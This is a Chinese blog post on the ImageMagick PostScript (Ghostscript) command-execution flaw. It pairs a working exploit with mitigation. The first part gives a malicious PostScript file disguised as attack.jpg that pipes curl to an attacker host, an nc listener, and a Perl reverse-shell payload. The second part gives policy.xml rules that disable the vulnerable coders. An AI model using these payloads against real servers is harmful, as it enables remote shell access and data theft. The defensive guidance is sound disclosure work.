imagemagick postscript漏洞

之前2016年的imagemagick的漏洞,升级到最新版本就行了。
https://www.jianshu.com/p/502e39c122e6
下载最新的版本执行不成功:
convert: Not a JPEG file: starts with 0×70 0×75 `attack4.jpg’ @ error/jpeg.c/JPEGErrorHandler/332.

 

最近又来了这种
把以下内容保存为:attack.jpg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl http://ip:8888) currentdevice putdeviceprops
红色部分可以改成其他任意linux命令,这个是相当严重的问题。
在接收服务器 启动8888端口(安装ncat)
nc -lvp 8888

Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888

模拟测试执行 /usr/local/ImageMagick/bin/convert attack.jpg test.jpg(用户攻击时通过网页上传图片即可)
接收服务器收到:

Ncat: Connection from xx.xx.xx.xx.
Ncat: Connection from xx.xx.xx.xx:port.
GET / HTTP/1.1
User-Agent: curl/xx (x86_64-redhat-linux-gnu)  useragent…
Host: ip:8888
Accept: */*

如果最后一行改成反弹shell的,
反弹shell的各语言版本都有:https://www.jb51.net/article/118423.htm
下面用perl语言的:
mark /OutputFile (%pipe%perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”ip:8888″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’) currentdevice putdeviceprops
执行后,接收服务器直接登陆了你的当前账号。(通常网站运行身份权限不会太差,大多是www,什么脱裤干啥都行。)
不能只按下面的方式解决了就完事了,可能在你修复前,已经被植入了其他可以反弹shell的脚本已经在运行了。最稳妥的方式还是重装系统吧。
相关的帖子:
解决:
官方论坛相关帖子:
原来官方默认把policy让用户自己搞,默认它都没禁止。不知道官方怎么想的,小白们基本都是下载下来就用默认配置的。
配置文件~/ImageMagick/etc/ImageMagick-7/policy.xml都是<!– –> 注释着的。
处理方案一:
<policy domain=”coder” rights=”none” pattern=”{PS,EPS,PDF,XPS}” />
有些低版本的可能无法识别写这种集合,可以分开写:
<policy domain=”coder” rights=”none” pattern=”PS” />
<policy domain=”coder” rights=”none” pattern=”EPS” />
<policy domain=”coder” rights=”none” pattern=”PDF” />
<policy domain=”coder” rights=”none” pattern=”XPS” />
另外网友又补充说有PS2,PS3这2种格式,可以增加上。
<policy domain=”coder” rights=”none” pattern=”{PS,PS2,PS3,EPS,PDF,XPS}” />
处理方案二:
禁止所有的权限,只给读写这3种业务中的图片类型。
配置文件注释着有示例:
Rules are processed in order. Here we want to restrict ImageMagick to only read or write a small subset of proven web-safe image types:

<policy domain=”delegate” rights=”none” pattern=”*” />
<policy domain=”filter” rights=”none” pattern=”*” />
<policy domain=”coder” rights=”none” pattern=”*” />
<policy domain=”coder” rights=”read|write” pattern=”{GIF,JPEG,PNG,WEBP}”

不处理webp格式的图片,就去掉为:
<policy domain=”delegate” rights=”none” pattern=”*” />
<policy domain=”filter” rights=”none” pattern=”*” />
<policy domain=”coder” rights=”none” pattern=”*” />
<policy domain=”coder” rights=”read|write” pattern=”{GIF,JPEG,PNG}” />
验证命令:
/usr/local/ImageMagick/bin/convert attack.jpg test.jpg
/usr/local/ImageMagick/bin/identify -format ‘%[exif:orientation]‘ attack.jpg
convert: not authorized `attack.jpg’ @ error/constitute.c/ReadImage/428.
convert: no images defined `test.jpg’ @ error/convert.c/ConvertImageCommand/3275.
identify: not authorized `attack.jpg’ @ error/constitute.c/ReadImage/428.

关于 Administrator

爱拼才会赢!
此条目发表在 服务器端 分类目录,贴了 标签。将固定链接加入收藏夹。

发表评论

电子邮件地址不会被公开。 必填项已用 * 标注

*

您可以使用这些 HTML 标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>